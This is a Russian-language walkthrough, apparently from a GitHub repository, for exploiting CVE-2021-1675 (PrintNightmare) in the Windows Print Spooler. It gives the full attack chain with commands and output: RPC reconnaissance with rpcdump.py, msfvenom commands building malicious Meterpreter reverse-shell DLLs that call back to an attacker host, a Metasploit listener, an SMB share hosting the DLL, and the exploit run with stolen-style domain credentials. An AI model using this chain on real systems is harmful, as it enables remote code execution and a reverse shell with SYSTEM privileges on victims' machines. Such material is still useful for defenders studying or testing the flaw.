dll00p/cve-2021-1675Эксплойт Proof-of-concept для CVE-2021-1675 (PrintNightmare), нацеленный на Windows Print Spooler. Использует вредоносную DLL, сгенерированную msfvenom, доставляемую через SMB для достижения удаленного выполнения кода и обратной оболочки Meterpreter.
Диспетчер печати (Printer Spooler) — это служба Windows, управляющая очередями печати. Он получает задания, отправленные пользователем, преобразует их в формат, понятный принтеру, и отправляет, когда принтер становится доступен. Он работает как системная служба (spoolsv.exe) с высокими привилегиями, что делает его частой целью атак, таких как уязвимость PrintNightmare.
Когда злоумышленник пытается эксплуатировать диспетчер печати удаленно, чтобы проверить, уязвим ли хост к ошибке PrintNightmare, можно использовать инструмент под названием rpcdump.py, который является частью пакета Impacket — набора инструментов, широко используемых в среде пентестинга.
❯ rpcdump.py @10.10.188.66 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
Для эксплуатации этой уязвимости метод распространения эксплойта — вредоносная DLL. Этот метод, также известный как «бестелесная» эксплуатация, позволяет обойти большинство системных защит, таких как антивирусное программное обеспечение. В этой атаке мы обманем службу диспетчера печати, заставив её установить новый драйвер из UNC-пути и загрузить его. В нашем случае это вредоносная DLL, которая предоставит нам обратную оболочку на атакующий компьютер. Чтобы создать вредоносную DLL, я буду использовать «msfvenom», и в зависимости от архитектуры, на которой мы находимся, мы интегрируем полезную нагрузку Windows x64 или x86 в DLL, указав локальный хост и локальный порт, где мы запустим слушатель для обратного вызова от DLL. IP-адрес вашей машины можно узнать, введя «ifconfig». Мы будем использовать следующую команду для создания нашей вредоносной DLL.
❯ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f dll -o /home/ghost/Pentesting/Print/PrintMalicious_x64.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 9216 bytes
Saved as: /home/ghost/Pentesting/Print/PrintMalicious_x64.dll
А если в другом случае наша архитектура была 32-битной, мы бы использовали такую полезную нагрузку
❯ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f dll -o /home/ghost/Pentesting/Print/PrintMalicious_x86.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of dll file: 9216 bytes
Saved as: /home/ghost/Pentesting/Print/PrintMalicious_x86.dll
После того как мы создали нашу вредоносную DLL, нам нужно запустить наш слушатель на «Metasploit Framework», чтобы получить обратно оболочку «Meterpreter», когда DLL будет выполнена в системе. Чтобы запустить слушатель, выполните следующие шаги. В конце введите «exploit -j», чтобы запустить слушатель в фоновом режиме.
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.10.10
LHOST => 10.10.10.10
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.10.10:443
Теперь, когда мы запустили наш приемник, запускаем наш SMB-сервер для размещения вредоносного DLL-файла. Перейдите в системный путь, где мы сохранили DLL-файл, и введите следующую команду для запуска SMB-сервера. Прежде чем это сделать, убедитесь, что у вас установлен «Impacket» на вашем компьютере. Impacket — это коллекция модулей с открытым исходным кодом, написанных на Python, и один из них — smbserver.py, который мы будем использовать в этом случае. Чтобы запустить скрипт «smbserver.py» и разместить вредоносный DLL-файл, введите следующую команду в каталоге, где мы его сохранили, в моем случае /home/ghost/Pentesting/Printer/.
❯ smbserver.py share . -smb2support
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Отлично, теперь мы готовы начать процесс эксплуатации, используя CVE-2021–1675 proof-of-concept (POC). Для этого мы предоставляем контроллер домена и учетные данные пользователя с UNC-путем к вредоносной DLL, размещенной на нашей системе.
❯ python3 CVE-2021-1675.py NetworkAD-EDU.ENGdepartment.local/jjsmith:[email protected] '\\\\10.10.10.10\\share\\PrintMalicious_x64.dll'
[*] Connecting to ncacn_np:10.10.220.93[\\PIPE\\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL
[*] Executing \\??\\UNC\\10.10.10.10\\share\\PrintMalicious_x64.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
[*] Stage0: 0
[*] Try 3...
Через несколько секунд после запуска скрипта эксплойта, если мы вернемся к слушателю, запущенному в «Metasploit», он покажет, что открыта сессия «Meterpreter», так что теперь мы можем взаимодействовать с машиной жертвы, используя «Meterpreter shell».